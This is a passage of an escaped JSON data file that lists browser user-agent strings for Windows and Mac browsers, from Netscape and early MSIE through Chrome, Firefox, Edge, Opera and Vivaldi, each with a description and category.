Firefox\\/15.0a1\"},{\"description\":\"Firefox 16.0 (Win 8 64)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64; rv:16.0) Gecko\\/16.0 Firefox\\/16.0\"},{\"description\":\"Firefox 19.0 (Win 8 32)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:19.0) Gecko\\/20121129 Firefox\\/19.0\"},{\"description\":\"Firefox 20.0 (Win 8 32)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:20.0) Gecko\\/20121202 Firefox\\/20.0\"},{\"description\":\"Maxthon 2.0 (Trident\\/MSIE) (Win  7)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Maxthon 2.0)\"},{\"description\":\"Minefield (Firefox nightly) 4.0b4pre (Win 7)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:2.0b4pre) Gecko\\/20100815 Minefield\\/4.0b4pre\"},{\"description\":\"MSIE 5.5 (Win 2000)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.5; Windows NT 5.0 )\"},{\"description\":\"MSIE 5.5 (Win ME)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)\"},{\"description\":\"Multizilla 1.6 (Win XP)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows XP) Gecko MultiZilla\\/1.6.1.0a\"},{\"description\":\"Netscape 2.02 (Win 95)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/2.02E (Win95; U)\"},{\"description\":\"Netscape 3.01 gold (Win 95)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/3.01Gold (Win95; I)\"},{\"description\":\"Netscape 4.8 (Win XP)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/4.8 [en] (Windows NT 5.1; U)\"},{\"description\":\"Netscape 7.1 (Win 98)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Win98; en-US; rv:1.4) Gecko Netscape\\/7.1 (ax)\"},{\"description\":\"Opera 7.5 (Win XP)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Opera\\/7.50 (Windows XP; U)\"},{\"description\":\"Opera 7.5 (Win ME)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Opera\\/7.50 (Windows ME; U) [en]\"},{\"description\":\"Opera 7.51 (Win XP)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Opera\\/7.51 (Windows NT 5.1; U) [en]\"},{\"description\":\"Opera 8.0 (Win 2000)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.0\"},{\"description\":\"Opera 9.25 - (Vista)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Opera\\/9.25 (Windows NT 6.0; U; en)\"},{\"description\":\"Opera 10.10 (id as 9.8) (Server 2003)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Opera\\/9.80 (Windows NT 5.2; U; en) Presto\\/2.2.15 Version\\/10.10\"},{\"description\":\"Opera 11.10 (id as 9.8) (Win XP)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; U; zh-tw) Presto\\/2.8.131 Version\\/11.10\"},{\"description\":\"Opera 11.01 (id as 9.8) (Win 7)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; U; en) Presto\\/2.7.62 Version\\/11.01\"},{\"description\":\"Opera 12.00 (id as 9.8) (Win 7)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; U; es-ES) Presto\\/2.9.181 Version\\/12.00\"},{\"description\":\"Opera 12.14 (id as 9.8) (Win Vista)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Opera\\/9.80 (Windows NT 6.0) Presto\\/2.12.388 Version\\/12.14\"},{\"description\":\"Phoenix 0.2 (NT 4.0)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows; U; WinNT4.0; en-US; rv:1.2b) Gecko\\/20021001 Phoenix\\/0.2\"},{\"description\":\"Safari 531.21 (Win XP)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit\\/531.21.8 (KHTML, like Gecko) Version\\/4.0.4 Safari\\/531.21.10\"},{\"description\":\"SeaMonkey 1.1.18 (Win XP)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.23) Gecko\\/20090825 SeaMonkey\\/1.1.18\"},{\"description\":\"SeaMonkey (Mozilla) 2.0 (Win 7)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.17) Gecko\\/20110123 (like Firefox\\/3.x) SeaMonkey\\/2.0.12\"},{\"description\":\"SeaMonkey (Mozilla) 2.7.1 (NT 5.2)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.2; rv:10.0.1) Gecko\\/20100101 Firefox\\/10.0.1 SeaMonkey\\/2.7.1\"},{\"description\":\"Arora 0.8.0 - (Windows)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows; U; ; en-NZ) AppleWebKit\\/527  (KHTML, like Gecko, Safari\\/419.3) Arora\\/0.8.0\"},{\"description\":\"Avant Browser - MSIE 7 (Win XP)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\"},{\"description\":\"Beamrise - (Win 7) - Webkit 535.8\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/535.8 (KHTML, like Gecko) Beamrise\\/17.2.0.9 Chrome\\/17.0.939.0 Safari\\/535.8\"},{\"description\":\"Chrome 28.0 (Win 7 - 64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML like Gecko) Chrome\\/28.0.1469.0 Safari\\/537.36\"},{\"description\":\"Chrome 28.0 (Win 8 - 64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML like Gecko) Chrome\\/28.0.1469.0 Safari\\/537.36\"},{\"description\":\"Chrome 32.0 (Win 8 - 64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/32.0.1667.0 Safari\\/537.36\"},{\"description\":\"Chrome 36.0 (Win 8 - 64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/36.0.1985.67 Safari\\/537.36\"},{\"description\":\"Chrome 37.0 (Win 8.1 - 64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/37.0.2049.0 Safari\\/537.36\"},{\"description\":\"Chrome 41.0 (Win 7 - 32 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2228.0 Safari\\/537.36\"},{\"description\":\"Chrome 45.0 (Win 10 - 64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.93 Safari\\/537.36\"},{\"description\":\"Chrome 45.0 (Win Vista - 32 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.93 Safari\\/537.36\"},{\"description\":\"Chrome 51.0 (Win 10 - 64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.103 Safari\\/537.36\"},{\"description\":\"Chrome 55.0 (Win 10 - 64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2869.0 Safari\\/537.36\"},{\"description\":\"Chrome 57.0 AOL (Win 10 - 64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 AOL\\/11.0 AOLBUILD\\/11.0.1305 Safari\\/537.36\"},{\"description\":\"Chrome 62.0 (Win 10 - 64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3191.0 Safari\\/537.36\"},{\"description\":\"Edge (Microsoft) 12.0 (EdgeHTML) Chrome 39 (Win 10 - 64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.71 Safari\\/537.36 Edge\\/12.0\"},{\"description\":\"Edge (Microsoft) 12.1 (EdgeHTML) Chrome 42 (Win 10 - 64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.135 Safari\\/537.36 Edge\\/12.10240\"},{\"description\":\"Edge (Microsoft) 14.14 (EdgeHTML) Chrome 51 (Win 10 - 64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (MSIE 9.0; Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.79 Safari\\/537.36 Edge\\/14.14931\"},{\"description\":\"Edge (Microsoft) 15.15 (EdgeHTML) Chrome 52 (Win 10)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36 Edge\\/15.15063\"},{\"description\":\"Firefox 21.0 (Win 7 32)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:21.0) Gecko\\/20130401 Firefox\\/21.0\"},{\"description\":\"Firefox 25.0 (Win 7 64)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko\\/20100101 Firefox\\/25.0\"},{\"description\":\"Firefox 29.0 (Win 7 64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko\\/20100101 Firefox\\/29.0\"},{\"description\":\"Firefox 31.0 (Win XP)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:31.0) Gecko\\/20100101 Firefox\\/31.0\"},{\"description\":\"Firefox 35.0 (Win 7 64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:35.0) Gecko\\/20100101 Firefox\\/35.0\"},{\"description\":\"Firefox 36.0 (Win 8.1 32 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; rv:36.0) Gecko\\/20100101 Firefox\\/36.0\"},{\"description\":\"Firefox 39.0 (Win 8.0 64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:39.0) Gecko\\/20100101 Firefox\\/39.0\"},{\"description\":\"Firefox 40.0 (Win Vista)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64; rv:40.0) Gecko\\/20100101 Firefox\\/40.0\"},{\"description\":\"Firefox 40.0 (Win 10)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko\\/20100101 Firefox\\/40.0\"},{\"description\":\"Firefox 47.0 (Win 10)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"description\":\"Firefox 52.0 (Win 10)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"description\":\"Firefox 57.0 (Win 10 64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko\\/20100101 Firefox\\/57.0\"},{\"description\":\"iTunes 9.0.2 (Windows)\",\"kind\":\"Browsers - Windows\",\"ua\":\"iTunes\\/9.0.2 (Windows; N)\"},{\"description\":\"Konqueror 4.5 (Win XP - KDE native)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (compatible; Konqueror\\/4.5; Windows) KHTML\\/4.5.4 (like Gecko)\"},{\"description\":\"Maxthon 3.0 (Webkit) (Vista)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit\\/533.1 (KHTML, like Gecko) Maxthon\\/3.0.8.2 Safari\\/533.1\"},{\"description\":\"Maxthon 4.0 (Chrome 22) (Win7 64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.1 (KHTML like Gecko) Maxthon\\/4.0.0.2000 Chrome\\/22.0.1229.79 Safari\\/537.1\"},{\"description\":\"Maxthon 4.4 (Chrome 30) (Win7 64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Maxthon\\/4.4.6.1000 Chrome\\/30.0.1599.101 Safari\\/537.36\"},{\"description\":\"Maxthon 5.0 (Chrome 47) (Win7 64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Maxthon\\/5.0.4.3000 Chrome\\/47.0.2526.73 Safari\\/537.36\"},{\"description\":\"MSIE 6 (Win XP)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\"},{\"description\":\"MSIE 7 (Vista)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0)\"},{\"description\":\"MSIE 8 - standard mode (Win XP)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"description\":\"MSIE 8 - standard mode (Win 7)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0)\"},{\"description\":\"MSIE 8 - compat mode (Vista)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident\\/4.0)\"},{\"description\":\"MSIE 8 - standard mode (Vista)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident\\/4.0)\"},{\"description\":\"MSIE 9 - compat mode (Vista)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident\\/5.0)\"},{\"description\":\"MSIE 9 - standard mode (Win 7)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0)\"},{\"description\":\"MSIE 9 - standard mode (NT 6.2 32 Win 8)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.2; Trident\\/5.0)\"},{\"description\":\"MSIE 9 - standard mode (NT 6.2 64 Win 8)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.2; WOW64; Trident\\/5.0)\"},{\"description\":\"MSIE 9 - standard mode (with Zune plugin) (NT 6.1 Win 7)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7)\"},{\"description\":\"MSIE 10 - standard mode (Win 7 64)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0)\"},{\"description\":\"MSIE 10 - compat mode (Win 7 64)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/6.0)\"},{\"description\":\"MSIE 10.6 - (Win 7 32)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident\\/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED\\/1.0\"},{\"description\":\"MSIE 11.0 - (Win 7 64)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; rv:11.0) like Gecko\"},{\"description\":\"MSIE 11.0 - (Win 8.1 32)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Trident\\/7.0; rv:11.0) like Gecko\"},{\"description\":\"MSIE 11.0 (compatibility mode IE 7)- (Win 8.1 32)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.3; Trident\\/7.0; .NET4.0E; .NET4.0C)\"},{\"description\":\"MxBrowser (Chrome 30)- (Win XP)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) MxBrowser\\/4.5.10.7000 Chrome\\/30.0.1551.0 Safari\\/537.36\"},{\"description\":\"MSIE 11.0 (Win 10)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; MATBJS; rv:11.0) like Gecko\"},{\"description\":\"MSIE 11.0 touch (Win 10 64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; Touch; MALNJS; rv:11.0) like Gecko\"},{\"description\":\"Opera 12.16 (id as 9.8) (Win 7)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64) Presto\\/2.12.388 Version\\/12.16\"},{\"description\":\"Opera 14.0 (Chrome 27) (Win 7)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/27.0.1453.12 Safari\\/537.36 OPR\\/14.0.1116.4\"},{\"description\":\"Opera 15.0 (Chrome 28) (Win 7)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/28.0.1500.29 Safari\\/537.36 OPR\\/15.0.1147.24 (Edition Next)\"},{\"description\":\"Opera 18.0 (Chrome 31) (Win 8.1)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/31.0.1650.57 Safari\\/537.36 OPR\\/18.0.1284.49\"},{\"description\":\"Opera 19.0 (Chrome 32) (Win 7)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/32.0.1700.76 Safari\\/537.36 OPR\\/19.0.1326.56\"},{\"description\":\"Opera 20.0 (Chrome 33) (Win 7 64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/33.0.1750.154 Safari\\/537.36 OPR\\/20.0.1387.91\"},{\"description\":\"Opera 28.0 (Chrome 41) (Win 8 64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.76 Safari\\/537.36 OPR\\/28.0.1750.40\"},{\"description\":\"Opera 31.0 (Chrome 44) (Win 7 64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.155 Safari\\/537.36 OPR\\/31.0.1889.174\"},{\"description\":\"Opera 36.0 (Chrome 49) (Win 10 64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36 OPR\\/36.0.2130.46\"},{\"description\":\"Opera 47.0 (Chrome 60) (Win 10 64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36 OPR\\/47.0.2631.55\"},{\"description\":\"Palemoon 27.4 (Firefox 45.9) (Win 10)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; rv:45.9) Gecko\\/20100101 Goanna\\/3.2 Firefox\\/45.9 PaleMoon\\/27.4.0\"},{\"description\":\"Safari 533.17 (Server 2003\\/64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit\\/533.17.8 (KHTML, like Gecko) Version\\/5.0.1 Safari\\/533.17.8\"},{\"description\":\"Safari 533.19 (Win 7)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/5.0.2 Safari\\/533.18.5\"},{\"description\":\"Safari 6.0 (Win 8)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.2; es-US ) AppleWebKit\\/540.0 (KHTML like Gecko) Version\\/6.0 Safari\\/8900.00\"},{\"description\":\"Safari 7.0 (Win 7)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.71 (KHTML like Gecko) WebVideo\\/1.0.1.10 Version\\/7.0 Safari\\/537.71\"},{\"description\":\"SeaMonkey (Mozilla) 2.9 (Win7 64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko\\/20120422 Firefox\\/12.0 SeaMonkey\\/2.9\"},{\"description\":\"SeaMonkey (Mozilla) 2.33 (Win Vista)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:36.0) Gecko\\/20100101 Firefox\\/36.0 SeaMonkey\\/2.33.1\"},{\"description\":\"UBrowser 5.6 2.33 (chrome\\/webkit) (Win 10)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.116 UBrowser\\/5.6.13705.206 Safari\\/537.36\"},{\"description\":\"Vivaldi 1.0.94 (Blink) (Win 7)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/40.0.2214.89 Vivaldi\\/1.0.94.2 Safari\\/537.36\"},{\"description\":\"Vivaldi 1.4 (Blink) (Win 10)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.90 Safari\\/537.36 Vivaldi\\/1.4.589.11\"},{\"description\":\"Vivaldi 1.92 (Blink) (Win 10)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.91 Safari\\/537.36 Vivaldi\\/1.92.917.39\"},{\"description\":\"Yowser 2.5 (Blink - Chrome 56) (Win XP)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 YaBrowser\\/17.3.0.1785 Yowser\\/2.5 Safari\\/537.36\"},{\"description\":\"Camino 2.2.1 (Firefox 4.0.1) (OS X 10.6 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko\\/20100101 Firefox\\/4.0.1 Camino\\/2.2.1\"},{\"description\":\"Camino 2.2a1pre (Firefox 4.0.1) (OS X 10.6 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b6pre) Gecko\\/20100907 Firefox\\/4.0b6pre Camino\\/2.2a1pre\"},{\"description\":\"Chrome 4.0 (OS X 10_5_8 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit\\/532.8 (KHTML, like Gecko) Chrome\\/4.0.302.2 Safari\\/532.8\"},{\"description\":\"Chrome 6.0 (OS X 10_6_4 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit\\/534.3 (KHTML, like Gecko) Chrome\\/6.0.464.0 Safari\\/534.3\"},{\"description\":\"Chrome 9.0 (OS X 10_6_5 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit\\/534.13 (KHTML, like Gecko) Chrome\\/9.0.597.15 Safari\\/534.13\"},{\"description\":\"Chrome 14.0 (OS X 10_7_2 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit\\/535.1 (KHTML, like Gecko) Chrome\\/14.0.835.186 Safari\\/535.1\"},{\"description\":\"Chrome 15.0 (OS X 10_6_8 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/535.2 (KHTML, like Gecko) Chrome\\/15.0.874.54 Safari\\/535.2\"},{\"description\":\"Chrome 16.0 (OS X 10_6_8 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/535.7 (KHTML, like Gecko) Chrome\\/16.0.912.36 Safari\\/535.7\"},{\"description\":\"Chrome 19.0 (OS X 10_8_0 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit\\/536.3 (KHTML, like Gecko) Chrome\\/19.0.1063.0 Safari\\/536.3\"},{\"description\":\"Chrome 22.0 (OS X 10_8_2 Intel)\",\"kind\":\"Browsers 